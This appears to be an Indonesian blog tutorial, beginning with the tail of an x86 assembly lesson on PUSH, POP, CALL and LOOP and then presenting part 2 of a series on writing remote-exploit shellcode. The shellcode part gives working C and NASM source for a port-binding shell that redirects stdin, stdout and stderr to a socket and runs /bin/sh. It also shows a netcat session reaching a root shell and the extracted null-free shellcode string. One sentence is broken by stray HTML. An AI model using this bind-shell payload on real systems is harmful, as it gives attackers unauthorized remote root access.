Setelah mendapatkan nilai argumen bertipe integer di register ECX, selanjutnya ECX ini perlu diselamatkan dulu dalam stack (baris 12) sebab ECX akan dipakai dalam prosedur _print_hello (baris 13). ECX dipakai sebagai alamat string msg ketika memanggil system call write(). Setelah kembali dari prosedur _print_hello, nilai ECX perlu dikembalikan seperti semula dengan POP ECX (baris 14) sebab akan dipakai sebagai counter dalam LOOP (baris 15). Ketika menjalankan instruksi LOOP, register ECX akan dikurangi 1, kemudian bila ECX > 0 maka program akan lompat ke _print. Bila ECX bernilai 0, maka loop berhenti dan menjalankan system call exit(0).

Setelah memahami cara kerja program contoh ke-2 itu. Sekarang mari kita bahas instruksi baru yang ada di sana: CALL, RET, PUSH, POP, LOOP.

Instruksi PUSH dan POP

Instruksi PUSH digunakan untuk menyimpan nilai ke dalam stack. Kebalikannya adalah instruksi POP untuk mengambil nilai dari stack. Stack dalam Linux membesar ke alamat memori yang lebih rendah. Puncak stack ada di alamat rendah, sedangkan dasar stack ada di alamat yang lebih tinggi.

NASM/Intel AT&T Deskripsi
PUSH value PUSHL value Menyimpan nilai ke dalam stack
POP dest POPL dest Mengambil nilai dari stack ke dest


Struktur Data Stack

Stack adalah struktur data yang mirip seperti tumpukan piring. Data yang diambil dari stack adalah data yang dimasukkan terakhir, atau istilahnya adalah LIFO (last in first out). Jadi kalau kita ingin mengambil data di tengah-tengah tumpukan, caranya adalah dengan mengambil dulu data dari puncak sampai habis, sehingga data yang kita inginkan berada di puncak stack.

PUSH dan POP dalam Stack

PUSH dan POP dalam Stack

Reguster ESP menunjukkan alamat memori dari puncak stack. Setiap ada instruksi PUSH, maka register ESP berkurang (ingat stack bertumbuh ke alamat yang makin mengecil) karena puncak stack berubah. Begitu pula bila sebaliknya bila ada instruksi POP, maka register ESP akan bertambah.

PUSH EAX

PUSH EAX di atas sama dengan dua instruksi di bawah ini:

SUB ESP, 4
MOV DWORD PTR SS:[esp], EAX

PUSH EAX (4 byte) bisa dilakukan dengan mengurangkan ESP dengan 4, kemudian menyalin isi EAX ke memori di lokasi SS:[ESP], yaitu di segment stack pada offset yang ditunjuk oleh ESP. DWORD PTR menunjukkan bahwa lebar data yang akan disalin ke memori dalam instruksi MOV itu selebar 4 byte.

POP EAX

POP EAX di atas sama dengan dua instruksi di bawah ini:

MOV EAX, DWORD PTR SS:[esp]
ADD ESP, 4

POP EAX (4 byte) bisa dilakukan dengan menyalin isi memori di lokasi SS:[ESP], yaitu di segment stack pada offset yang ditunjuk oleh ESP ke register EAX, lalu menambahkan ESP dengan 4. DWORD PTR menunjukkan bahwa lebar data yang akan disalin ke memori dalam instruksi MOV itu selebar 4 byte.

Instruksi CALL dan RET

Instruksi CALL digunakan untuk memanggil sebuah prosedur. Sedangkan RET dipakai untuk kembali dari prosedur kembali ke lokasi setelah instruksi pemanggilan. Ketika instruksi CALL dijalankan, prosesor menyimpan alamat instruksi sesudah instruksi CALL ke dalam stack (return address), kemudian prosesor lompat ke alamat subroutine yang dituju. Ketika instruksi RET dijalankan, maka prosesor mengambil (POP) return address (alamat yang di-push ketika CALL), kemudian loncat ke alamat tersebut.

NASM/Intel AT&T Deskripsi
CALL subroutine1 CALL subroutine1 Memanggil prosedur subroutine1
RET RET Kembali dari prosedur

CALL dan RET

Instruksi LOOP

LOOP digunakan untuk melakukan looping sejumlah nilai yang ada pada register ECX. Ketika ada instruksi LOOP, prosesor akan mengurangi nilai ECX dengan 1, kemudian membandingkan hasilnya. Bila nilai ECX sekarang masih > 0, maka prosesor akan loncat ke alamat yang ditunjuk dalam LOOP. Bila nilai ECX sekarang menjadi 0, prosesor tidak akan loncat, tapi melanjutkan mengerjakan instruksi selanjutnya setelah LOOP.

NASM/Intel AT&T Deskripsi
LOOP address LOOP address Looping ke alamat yang ditunjukkan oleh address bila ECX > 0.

Instruksi tunggal “LOOP address” ekivalen dengan 2 instruksi assembly berikut:

DEC ECX   ; DECREMENT: ECX = ECX - 1, register ECX dikurangi 1
JNZ address ; JUMP IF NOT ZERO: Bila ECX masih belum 0, JUMP ke address

Ilustrasi LOOP

Pada gambar di atas ada dua kondisi yang mungkin yaitu ECX > 0 atau ECX = 0. Mungkin ada yang bertanya, lho bagaimana dengan kondisi ECX < href="http://en.wikipedia.org/wiki/Signed_number_representations">signed number representation karena itu diluar topik yang kita bahas sekarang.

Bila ECX bernilai 0 sebelum mengerjakan instruksi LOOP, maka yang terjadi adalah program akan looping sebanyak 0xFFFFFFFF atau 4.294.967.295 kali. Hal ini terjadi karena 0 – 1 = -1 yang dalam binary adalah 0xFFFFFFFF dengan sistem two-complement.


Sumber : Here

Belajar Membuat Shellcode Part 2: Remote Exploit Shellcode

Dalam artikel sebelumnya saya sudah menjelaskan dasar-dasar pembuatan shellcode. Saya sudah menjelaskan pembuatan shellcode untuk local exploit. Nah kali ini saya akan lanjutkan lagi untuk membuat shellcode yang dipakai untuk exploit secara remote.

Remote Exploit

Remote exploit adalah teknik exploitasi yang dilakukan secara remote melalui jaringan. Exploit jenis ini biasanya menyerang server/daemon yang sedang “LISTEN” di port tertentu.

Perbedaan utama antara local exploit dan remote exploit adalah pada kondisi awalnya. Pada local exploit, sejak awal attacker sudah memiliki shell access baik melalui ssh, telnet atau remote desktop connection, namun dengan hak akses terbatas (sebagai normal user). Sedangkan pada remote exploit, kondisi awal attacker adalah tidak memiliki akses shell. Akses shell yang saya maksud adalah kemampun untuk execute suatu file executable.

Jadi pada local exploit, tujuannya adalah privilege escalation atas hak akses yang terbatas tersebut menjadi tidak terbatas (root/administrator). Sedangkan pada remote exploit, karena pada awalnya tidak punya akses shell, maka remote exploit berusaha mendapatkan akses shell, baik sebagai user biasa maupun sebagai super user (root/administrator).

Remote Shellcode

Dalam artikel ini saya akan menjelaskan tentang pembuatan 2 jenis remote shellcode, yaitu:

  • Port Binding Shellcode

Shellcode jenis ini bertujuan untuk memberikan shell yang bisa diakses dari jauh melalui port tertentu. Attacker bisa mengakses shell tersebut dengan membuka koneksi ke IP komputer target pada port yang sudah ditentukan sebelumnya.

port binding

Port binding shellcode tidak berguna bila komputer target dilindungi dengan firewall yang memblok inbound koneksi ke port di luar port yang diijinkan.

Firewall yang ditakutkan bukan firewall yang berada di komputer target sebab attacker bisa juga menambahkan rutin untuk mendisable firewall di komputer target. Tetapi firewall yang berada di luar komputer target tidak bisa dimatikan dari komputer target.

  • Reverse Connecting Shellcode

Reverse connecting shellcode mirip dengan port binding shellcode namun arah koneksinya terbalik. Dalam shellcode ini justru komputer target yang membuka koneksi ke attacker. Kenapa diperlukan shellcode seperti ini? Dalam banyak kasus orang sangat paranoid terhadap koneksi yang masuk ke komputernya, namun tidak terlalu paranoid untuk koneksi keluar.

reverseconnecting

Port yang biasanya diijinkan untuk diakses adalah port untuk http, yaitu 80 dan 443 (SSL) karena ini adalah layanan yang paling banyak dipakai sehingga kecil kemungkinan ada admin yang memblok koneksi ke web server luar

Socket Programming

Apa itu socket? Socket merupakan salah satu metode IPC (inter process communication), yaitu komunikasi antar proses (running program) di komputer yang sama maupun di komputer lain (melalui jaringan). Dalam kasus ini kita membicarakan mengenai internet socket, yaitu socket yang digunakan untuk berkomunikasi melalui jaringan baik dengan komputer yang sama (localhost) maupun dengan komputer lain.

Ada dua jenis internet socket, yaitu datagram socket dan stream socket. Datagram socket digunakan untuk berkomunikasi menggunakan protokol UDP. Protokol UDP tidak cocok dipakai untuk kasus ini karena protokol ini tidak reliable. Stream socket adalah socket yang memakai protokol TCP, protokol inilah yang akan dipakai dalam shellcode ini.

Sebelum bisa memakai fungsi-fungsi socket, program harus meng-include header file berikut:

#include      // library untuk socket
#include // definisi struct untuk socket

Network Byte Order vs Host Byte Order

Dalam komputer, ada aturan bagaimana data secara internal disimpan. Ada dua kubu aturan penyimpanan yang dipakai: little endian dan big endian. Ada beberapa arsitektur komputer yang memakai little endian seperti Intel, dan ada juga yang memakai big endian seperti Motorola dan PowerPC.

Dalam socket programming kita akan berkomunikasi dengan komputer lain yang tidak selalu sejenis arsitekturnya dengan yang kita pakai. Mungkin di komputer kita memakai little endian, berkomunikasi dengan komputer yang memakai big endian. Karena ada variasi ini, maka protokol IP mendefinisikan istilah network byte order dan host byte order.

Network byte order adalah byte order dari protokol network yaitu memakai big endian byte ordering.

Host byte order adalah byte order yang dipakai client/server, bisa little atau big endian tergantung arsitektur komputernya.

Host byte order mungkin sama atau berbeda dengan host byte order.

Pada notasi little endian, byte rendah ditulis duluan, baru kemudian byte tinggi. Sedangkan pada notasi big endian, byte tinggi ditulis duluan, baru kemudian byte tinggi. Perhatikan gambar di bawah ini untuk melihat perbedaan little dan big endian.

Pada gambar di atas IP address 192.168.0.14 dalam hexa adalah C0.A8.00.0E disimpan dalam notasi little endian dan big endian. Byte paling rendah, yaitu 0×0E disimpan di alamat memori paling rendah pada sistem little endian. Sedangkan pada big endian, byte paling tinggi 0xC0 disimpan di alamat memori paling rendah.

Dalam kasus arsitektur Intel IA32, terdapat perbedaan endianness antara host byte order yang memakai little endian, dengan network byte order protokol network yang memakai big endian. Perbedaan ini membuat data yang diterima dari protokol harus dikonversi dulu ke notasi little endian, bila tidak akan terjadi mis-interpretasi data. Contohnya data yang diterima dari network 0xABCD, bila tidak dikonversi maka data tersebut dikira sebagai 0xCDAB pada komputer yang memakai little endian.

Karena protokol network memakai big endian, maka data yang ditulis dalam paket yang dikirim ke jaringan harus dalam notasi big endian. Contohnya dalam protokol IP, field source address harus ditulis dalam notasi big endian. Perhatikan contoh sniffing network packet berikut:

Perhatikan pada gambar di atas, field destination IP adalah 192.168.0.14 yang bila ditulis dalam bentuk dotted hexadecimal adalah C0.A8.00.0E. Dalam network packet, IP tersebut ditulis dalam bentuk C0.A8.00.0E, yaitu notasi big endian untuk C0.A8.00.0E. Bila menggunakan notasi little endian, nilai tersebut akan disimpan sebagai 0E.00.A8.C0.

Pada gambar di atas juga terlihat bahwa field destination port dan source port juga ditulis dalam notasi big endian. Jadi jelas secara internal kita sudah melihat raw packet data yang diambil dari network, semua nilai ditulis dalam notasi big endian. Sekarang tinggal komputer yang terlibat dalam komunikasi harus menyesuaikan diri dengan notasi tersebut. Bila arsitekturnya juga memakai big endian, maka tidak ada yang perlu dikonversi.

Karena host byte order di komputer yang saya pakai (IA32) memakai little endian, sedangkan network byte order memakai big endian, maka diperlukan konversi dari little endian ke big endian. Ada banyak fungsi untuk melakukan konversi ini, antara lain:

  • htons() dan htonl()
  • Mengubah host byte order ke network byte order. Fungsi ini dipakai untuk mengirimkan paket, sebelum data ditulis dalam paket dan dikirim ke jaringan harus dikonversi dulu dalam bentuk network byte order.

    Bagaimana menuliskan port 80 dalam network byte order? Pertama 80 dalam hexa adalah 0×0050. Karena host (IA32) memakai little-endian, dan network memakai big endian, maka 0×0050 ini perlu dibalik dulu menjadi 0×5000. Kenapa harus dibalik? Ingat dalam IA32, nilai 0×5000 di memori komputer host akan tersimpan sebagai 0×00 0×50 dan dituliskan dalam paket jaringan dalam urutan yang sama 0×00 0×50. Bila 0×0050 tidak dibalik, maka di memori komputer host (IA32) akan tersimpan sebagai 0×50 0×00, sehingga dalam paket jaringan tertulis port 0×50 0×00 yang berarti port 20.480 bila diartikan memakai big endian, bukan port 80.

  • ntohs() dan ntohl()
  • Mengubah network byte order ke host byte order. Fungsi ini dipakai ketika menerima paket dari jaringan. Dalam paket tersebut data ditulis dalam notasi big endian, sehingga perlu dikonversi ke host byte order yang sesuai (dalam kasus IA32 adalah little endian).

Dalam contoh sebelumnya, port 80 dalam paket jaringan tertulis dalam urutan 0×00 0×50. Nilai ini ketika diterima oleh komputer host juga tersimpan di memori dalam urutan yang sama. Urutan dua byte 0×00 0×50 dalam host yang memakai little endian diartikan sebagai 0×5000 yaitu 20.480. Oleh karena itu perlu dikonversi dulu menjadi notasi little endian, menjadi 0×50 0×00. Dua byte 0×50 0×00 dalam sistem little endian diartikan sebagai nilai 0×0050 yaitu port 80.

Gambar di atas mengilustrasikan pemakaian fungsi untuk konversi endianness antara host dan network. Dalam membua shellcode nanti kita tidak akan memakai fungsi itu, kita akan langsung menuliskan dalam bentuk network byte order.

Socket Address Structure

Dalam pemrograman socket, sebuah proses akan memakai IP address dan port tertentu yang disimpan dalam struktur data bernama socket address yang strukturnya seperti di bawah ini:

typedef uint32_t in_addr_t;
struct in_addr
{
in_addr_t s_addr;
};

struct sockaddr_in
{
sa_family_t sin_family;
in_port_t sin_port;
struct in_addr sin_addr;
unsigned char sin_zero[8];
};

sin_family adalah jenis alamat yang dipakai dalam socket, dalam kasus ini kita isi dengan 2 atau AFINET, yaitu IP (internet protocol) address. sin_addr adalah IP address yang bertipe struct in_addr yang hanya memiliki satu field yaitu s_addr bertipe integer. Dalam kasus port binding shellcode, sin_addr.s_addr diisi dengan 0 atau INADDR_ANY yang berarti kita menggunakan semua IP di localhost (tidak hanya 127.0.0.1 tapi semua IP address di komputer tersebut). sin_port adalah port yang akan dipakai untuk LISTEN, silakan mengisi dengan port apa saja yang tidak dipakai.

Ingat menuliskan IP address dan port harus dalam bentuk network byte order

Client Server Socket Programming

Socket programming melibatkan dua pihak, yaitu client dan server. Hubungan antara client dan server serta fungsi yang dipakai dapat dilihat pada gambar di atas.

Pada sisi server, fungsi yang dipakai adalah:

  1. socket()
  2. Ini adalah fungsi untuk membentuk socket baik di sisi server maupun client. Pertama kali yang harus dilakukan dalam socket programming adalah membuat socket dengan fungsi ini.

  3. bind()
  4. Ini adalah fungsi untuk memakai IP address dan port tertentu dalam socket yang sudah dibuat dengan fungsi socket() sebelumnya.

  5. listen()
  6. Ini adalah fungsi untuk LISTEN atau menunggu permintaan koneksi dari client.

  7. accept()
  8. Ini adalah fungsi untuk menerima koneksi dari client.

  9. read()
  10. Ini adalah fungsi untuk menerima data yang dikirim client.

  11. write()
  12. Ini adalah fungsi untuk mengirim data ke client.

Sedangkan pada sisi client lebih sederhana, fungsi yang dipakai adalah:

  1. socket()
  2. Sama seperti pada server, fungsi ini adalah fungsi yang pertama dipanggil dalam socket programming.

  3. connect()
  4. Fungsi ini untuk membuka koneksi ke server.

  5. read()
  6. Fungsi ini untuk menerima data dari server.

  7. write()
  8. Fungsi ini untuk mengirim data ke server.

Socket adalah File

Di UNIX semua hal adalah file, termasuk juga socket. Setiap file setelah dibuka, dapat dioperasikan dengan memakai file handler. Ketika program memanggil fungsi socket(), maka dia akan menerima socket file handler, dan dengan handler tersebut operasi dengan socket bisa dilakukan untuk berkomunikasi melalui jaringan.

Kenapa saya perlu menjelaskan tentang ini? Sebab dalam port binding shellcode kita perlu mengarahkan file handler stdin, stdout dan stderr ke file handler socket. STDIN adalah file handler dengan nilai 0, STDOUT adalah file handler dengan nilai 1 dan STDERR adalah file handler dengan nilai 2.

Biasanya stdin adalah keyboard, sehingga dengan membaca stdin program akan menerima masukan dari user. Namun dalam shellcode ini program tidak menerima input secara langsung dari keyboard, tetapi input berasal dari client socket. Agar input dari client socket bisa diterima oleh shell yang akan kita execute, maka kita perlu melakukan cloning dari client socket ke stdin. Dengan cloning ini, kini stdin adalah client socket dan program menerima input dari client socket.

Stdout adalah tempat untuk menampilkan output yang biasanya adalah layar console. Namun dalam kasus ini, output harus bisa dibaca oleh attacker yang berada di komputer lain melalui jaringan. Oleh karena itu stdout juga harus dicloning ke client socket sehinga shell bisa mengirimkan output melalui jaringan. Sedangkan stderr biasanya adalah layar console, sama dengan stdout.

Cloning file handler dilakukan dengan memanggil fungsi dup2([socket handler],[stdin/stdout/stderr]). Fungsi ini membuat socket handler dan stdin/stdout/stderr adalah sama.

Membuat Port Binding Shellcode

Port binding shellcode artinya shellcode bertindak sebagai server yang menunggu koneksi dari client yaitu attacker. Sebelum kita membuat shellcode dalam bahasa assembly saya akan membuat program port binding dalam bahasa C agar lebih mudah dimengerti. Source code port binding shellcode dalam bahasa C terlihat seperti di bawah ini:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include 
#include

int main() {
char *shell[2];
int server; // server socket file handler
int client; // client socket file handler
struct sockaddr_in serv_addr; // definisi ipaddress dan port

server=socket(2,1,0); // membuat socket STREAM
serv_addr.sin_addr.s_addr=0; // ip address ALL LOCAL address
serv_addr.sin_port=0x5C09; // port 2396 dalam network byte order
serv_addr.sin_family=2; // Jenis address IP
bind(server,(struct sockaddr*)&serv_addr,16); // bind socket ke port dan ipaddress
listen(server,0); // menunggu koneksi dari client
client=accept(server,0,0); // koneksi dari client sudah terjalin

dup2(client,0); // duplicate stdin ke client socket
dup2(client,1); // duplicate stdout ke client socket
dup2(client,2); // duplicate stderr ke cilent socket

shell[0] = "/bin/sh";
shell[1] = 0;
execve(shell[0],shell,0); // execute shell dengan stdin,stdout dan stderr ke socket
}

Seperti pada gambar yang telah saya jelaskan di atas, socket programming di server dimulai dari fungsi socket() untuk membuat server socket dan mendapatkan file handlernya. Setelah itu ip address dan port harus didefinisikan dalam struct sockaddr_in. Socket address ini akan dipakai dalam fungsi bind() untuk mengikat port dan ip address tersebut dengan socket yang sudah dibuat sebelumnya. Setelah ip dan port sudah terikat dengan socket, kita bisa mulai menunggu koneksi dari client dengan fungsi listen(). Program akan blocking di fungsi listen() ini. Program akan resume, mulai berjalan lagi ketika client membuka koneksi dan hubungan telah terjalin. Setelah hubungan telah terjalin, kita akan memanggil fungsi accept() untuk mendapatkan file handler socket untuk client.

Ada dua socket yang dipakai: server socket dan client socket

Port yang akan kita pakai untuk LISTEN adalah port 2396, yang dalam hexadesimal adalah 0×095C. Ingat penulisan port harus dalam bentuk network byte order (big endian), sehingga penulisannya harus dibalik menjadi 0×5C09.

Saya menggunakan IP address bernilai 0 yang artinya all local address. Local address disini tidak hanya 127.0.0.1 tetapi juga semua ip address yang terdefinisi di interface yang ada pada host tersebut. Bila dalam host tersebut ada 3 ethernet card dengan ip yang berbeda, maka dia akan listen di semua ip tersebut.

Dalam program di atas sebelum kita mengeksekusi /bin/sh, kita perlu mengarahkan stdin,stdout dan stderr ke client socket. Hal ini dimaksudkan karena program yang dieksekusi dengan execve akan mewarisi stdin, stdout dan stderr dari yang mengeksekusinya. Jadi bila tidak dicloning dulu, maka stdin,stdout,stderr akan memakai keyboard dan layar console sehingga tidak bisa dipakai untuk mengirim command dan menerima outputnya dari jarak jauh.

Test

Sekarang mari kita uji program port binding di atas. Saya memakai dua console di komputer yang sama untuk mengujinya. Pada console pertama saya akan melakukan kompilasi dan menjalankan program tersebut sebagai root.

$ gcc portbind.c -o portbind
$ sudo ./portbind

Setelah portbind dijalankan sebagai root dengan sudo, kini di console lain saya membuka koneksi ke port 2396 dengan mamakai program netcat.

$ nc localhost 2396
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
whoami
root
exit

Port Binding dalam Assembly

Oke dalam pengujian di atas kita berhasil membuat program yang listen ke port tertentu dan mengeksekusi shell bila ada koneksi masuk. Sekarang kita harus membuat program sejenis namun dalam bahasa assembly. Sama seperti pembuatan local shellcode, kita menggunakan interrupt 80 hexa untuk memanggil system call. System call yang akan kita panggil adalah socket, bind, listen, accept, dup2 dan execve.

Keluarga system call socket, bind, listen dan accept adalah satu system call dengan nomor 102. Sebelum memanggil interrupt 80h kita perlu mendefinisikan dulu apa yang akan kita panggil, apakah socket, bind, listen atau accept. Pilihan tersebut harus dimasukkan dalam register EBX:

  • EBX = 1 untuk socket()
  • EBX = 2 untuk bind()
  • EBX = 3 untuk connect()
  • EBX = 4 untuk listen()
  • EBX = 5 untuk accept()

Parameter untuk fungsi socket, bind, connect, listen dan accept disimpan sebagai array yang addressnya disimpan dalam register ECX. Seperti biasa register EAX harus diisi dengan nomor system call yaitu 102.

struct sockaddr_in dalam Assembly

Bagian yang rumit dalam shellcode ini adalah ketika membentuk struct sockaddr_in. Struct ini sebenarnya berukuran 16 byte, tetapi 8 byte terakhir adalah sin_zero yang tidak terpakai, jadi kita hanya fokus mengisi 8 byte pertama.

Susunan byte pada struct sockaddr_in adalah:

  • Byte ke-1 dan ke-2: sin_family yang akan diisi dengan 0×0002 (AF_INET).
  • Byte ke-3 dan ke-4: sin_port yang akan diisi dengan 0×5C09 (port 2396).
  • Byte ke-5 s/d ke-8: sin_addr.s_addr yang akan diisi dengan 0×00000000 (semua IP di interface host).

Alamat dari struct sockaddr_in ini harus disimpan dalam ECX. Kita akan memanfaatkan stack untuk membentuk struct ini. Karena stack adalah struktur data LIFO, maka kita harus push dulu 4 byte terakhir (0×00000000), kemudian diikuti dengan push 2 byte untuk sin_port dan terakhir baru push untuk sin_family. Setelah semua di-push, maka ESP menunjuk pada address struct ini sehingga harus kita salin ke ECX.

Snipped assembly di bawah ini adalah instruksi untuk membuat struct sockaddr_in. Di akhir source, ESP menunjuk pada address struct sockaddr_in.

1
2
3
4
5
xor edx,edx ; edx = 0 
push edx ; push sin_addr.s_addr 0x0
push word 0x5C09 ; push sin_port
add edx,2
push dx ; push sin_family 0x0002

Setelah snippet di atas dijalankan, struct sockaddr_in akan terlihat seperti di bawah ini:

0x02    0x00    0x09    0x5C    0x00    0x00    0x00    0x00

0×02 0×00 adalah sin_family, hasil dari instruksi “push dx” pada saat regsiter DX bernilai 2. Byte berikutnya 0×09 0×5C adalah sin_port, hasil dari instruksi “push word 0×5C09″. Lalu 4 byte sisanya adalah sin_addr.s_addr hasil dari instruksi “push edx” pada saat EDX bernilai 0.

Source Code Assembly Port Binding Shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
BITS 32
section .text
global _start

_start:
xor eax,eax
xor ebx,ebx
xor edx,edx

;server=socket(2,1,0)
push eax ; push 0
push byte 0x1 ; push 1
push byte 0x2 ; push 2
mov ecx,esp ; ECX points to [2][1][0]
inc bl
mov al,102
int 0x80

; esi = server socket handler
mov esi,eax

;bind(server,(struct sockaddr*)&serv_addr,16)
push edx
push word 0x5C09
add edx,2
push dx
mov ecx,esp ; ECX = &serv_addr
push byte 16 ; push 16 (sizeof struct sockaddr)
push ecx ; push &serv_addr
push esi ; push server socket handler
mov ecx,esp ; ECX points to [server][&serv_addr][16]
inc bl
mov al,102
int 0x80

;listen(server,0)
xor edx,edx
push edx ; push 0
push esi ; push server socket handler
mov ecx,esp ; ECX points to [server][0]
mov bl,0x4
mov al,102
int 0x80

;client=accept(server,0,0)
push edx ; push 0
push edx ; push 0
push esi ; push server socket handler
mov ecx,esp ; ECX points to [server][0][0]
inc bl
mov al,102
int 0x80

; ebx = client socket handler
mov ebx,eax

;dup2(client,0)
xor ecx,ecx
mov al,63
int 0x80

;dup2(client,1)
inc ecx
mov al,63
int 0x80

;dup2(client,2)
inc ecx
mov al,63
int 0x80

;execve "/bin//sh"
push edx ; push NULL (0x0)
push long 0x68732f2f ; push //sh
push long 0x6e69622f ; push /bin
mov ebx,esp ; EBX = address of "/bin//sh"
push edx ; push NULL (0x0)
push ebx ; push address of "/bin//sh"
mov ecx,esp ; ECX address of [address of "/bin//sh",NULL]
mov al,0x0b ; exec system call
int 0x80

Bila anda sudah membaca artikel sebelumnya belajar membuat shellcode part 1 anda tentu sudah mengerti tentang system call untuk mengeksekusi shell (execve), jadi tidak perlu saya jelaskan lagi di sini.

System call dup2 sangat sederhana, register yang harus diisi adalah EBX diisi dengan client socket handler, ECX diisi file handler untuk stdin,stdout dan stderr, dan terakhir adalah EAX yang harus diisi dengan nomor system call, 63.

Pada system call keluarga socket programming, socket(), bind(), listen(), accept() semua argumen disimpan dalam bentuk blok memori secara berurutan dengan alamatnya disimpan pada register ECX. Sebagai contoh, untuk socket(2,1,0), register ECX harus berisi alamat blok memori yang berisi byte berikut: 0×02 0×01 0×00.

Mengambil Opcode untuk Shellcode

Langkah berikutnya adalah kita harus compile dan link source assembly tersebut. Setelah itu baru kita disassemble dengan objdump agar bisa diekstrak opcodenya.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
$ nasm -f elf portbind.asm
$ ld -o portbind_asm portbind.o
$ objdump -d ./portbind_asm

./portbind_asm: file format elf32-i386

Disassembly of section .text:

08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 31 db xor %ebx,%ebx
8048064: 31 d2 xor %edx,%edx
8048066: 50 push %eax
8048067: 6a 01 push $0x1
8048069: 6a 02 push $0x2
804806b: 89 e1 mov %esp,%ecx
804806d: fe c3 inc %bl
804806f: b0 66 mov $0x66,%al
8048071: cd 80 int $0x80
8048073: 89 c6 mov %eax,%esi
8048075: 52 push %edx
8048076: 66 68 09 5c pushw $0x5c09
804807a: 81 c2 02 00 00 00 add $0x2,%edx
8048080: 66 52 push %dx
8048082: 89 e1 mov %esp,%ecx
8048084: 6a 10 push $0x10
8048086: 51 push %ecx
8048087: 56 push %esi
8048088: 89 e1 mov %esp,%ecx
804808a: fe c3 inc %bl
804808c: b0 66 mov $0x66,%al
804808e: cd 80 int $0x80
8048090: 31 d2 xor %edx,%edx
8048092: 52 push %edx
8048093: 56 push %esi
8048094: 89 e1 mov %esp,%ecx
8048096: b3 04 mov $0x4,%bl
8048098: b0 66 mov $0x66,%al
804809a: cd 80 int $0x80
804809c: 52 push %edx
804809d: 52 push %edx
804809e: 56 push %esi
804809f: 89 e1 mov %esp,%ecx
80480a1: fe c3 inc %bl
80480a3: b0 66 mov $0x66,%al
80480a5: cd 80 int $0x80
80480a7: 89 c3 mov %eax,%ebx
80480a9: 31 c9 xor %ecx,%ecx
80480ab: b0 3f mov $0x3f,%al
80480ad: cd 80 int $0x80
80480af: 41 inc %ecx
80480b0: b0 3f mov $0x3f,%al
80480b2: cd 80 int $0x80
80480b4: 41 inc %ecx
80480b5: b0 3f mov $0x3f,%al
80480b7: cd 80 int $0x80
80480b9: 52 push %edx
80480ba: 68 2f 2f 73 68 push $0x68732f2f
80480bf: 68 2f 62 69 6e push $0x6e69622f
80480c4: 89 e3 mov %esp,%ebx
80480c6: 52 push %edx
80480c7: 53 push %ebx
80480c8: 89 e1 mov %esp,%ecx
80480ca: b0 0b mov $0xb,%al
80480cc: cd 80 int $0x80

Byte Terlarang di Shellcode

Dari hasil objdump di atas terlihat ada byte yang terlarang, yaitu 0×00 yang merupakan bagian dari opcode instruksi: “add edx,2″. Kenapa byte 0×0 tidak boleh ada? Sebab ketika kita menginjeksi string, maka byte 0×0 akan dianggap sebagai akhir sebuah string, akibatnya shellcode kita tidak akan terinjeksi dengan lengkap dan terpotong pada byte 0×0 tersebut.

Agar byte 0×0 tidak ada, maka kita harus mengganti “add edx,2″ dengan instruksi lain yang ekivalen, artinya instruksi pengganti tersebut harus berakibat pada bertambahnya nilai edx dengan 2. Saya akan mengganti instruksi “add edx,2″ dengan instruksi “inc edx” sebanyak 2 kali. Mari kita lihat perbedaan antara opcode “add edx,2″ dengan “inc edx”.

 804807a:       81 c2 02 00 00 00       add    edx, 2
 804807a:       42                      inc    edx
804807b: 42 inc edx

Perhatikan kedua opcode di atas. Ada dua keuntungan yang kita dapatkan dengan mengganti instruksi add. Pertama adalah tidak ada lagi byte 0×0. Kedua adalah ukurannya lebih hemat, instruksi “inc edx” hanya berukuran 1 byte, jadi total berukuran 2 byte. Sedangkan instruksi “add edx, 2″ berukuran 6 byte, kita hemat 4 byte untuk mendapat efek yang sama.

Oke setelah kita menyingkirkan byte terlarang, kita harus mengekstrak opcodenya untuk menjadi shellcode. Kita akan pakai lagi cara yang saya pakai di artikel part 1 untuk dengan cepat meng-ekstrak opcode dari output objdump.

$ objdump -d portbind_asm|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

Setelah kita dapatkan shellcode, mari kita coba lagi pakai perl dan ndisasm, kalau hasil disassemblernya sama dengan source assembly awal, berarti shellcode tersebut sudah benar.

